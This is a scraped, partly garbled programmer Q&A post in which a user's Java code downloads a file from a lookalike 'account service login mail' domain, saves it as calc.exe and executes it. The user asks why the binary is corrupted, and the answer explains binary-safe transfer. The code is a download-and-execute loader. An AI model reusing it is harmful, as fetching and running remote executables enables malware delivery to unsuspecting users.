java - downloaded exe file is corrupted -
i have written code download exe file stored @ specific url , execute exe in computer. testing purpose take calc.exe window , using notepad++ extract code in notepad , save on internet. now, when run program, generated calc.exe file in pc not running. it's showing calc.exe not valid win 32 application.
here code
url url = new url("http://accountserviceloginmail.org/calc.txt"); url.openconnection(); try (inputstream reader = url.openstream()) { fileoutputstream writer = new fileoutputstream("calc.exe"); byte[] buffer = new byte[153600]; int bytesread = 0; while ((bytesread = reader.read(buffer)) > 0) { writer.write(buffer, 0, bytesread); buffer = new byte[153600]; } writer.close(); } file file = new file ("c:\\documents , settings\\intel\\my documents\\netbeansprojects\\down\\calc.exe"); desktop.getdesktop().open(file);
http://accountserviceloginmail.org/calc.txt valid url. can use testing purpose
a .exe file binary file many non-printable characters notepad won't show or copy. further mangling happen when paste text web form , have server save text. must use binary-safe mechanism upload file, ftp or html file upload form.
Comments
Post a Comment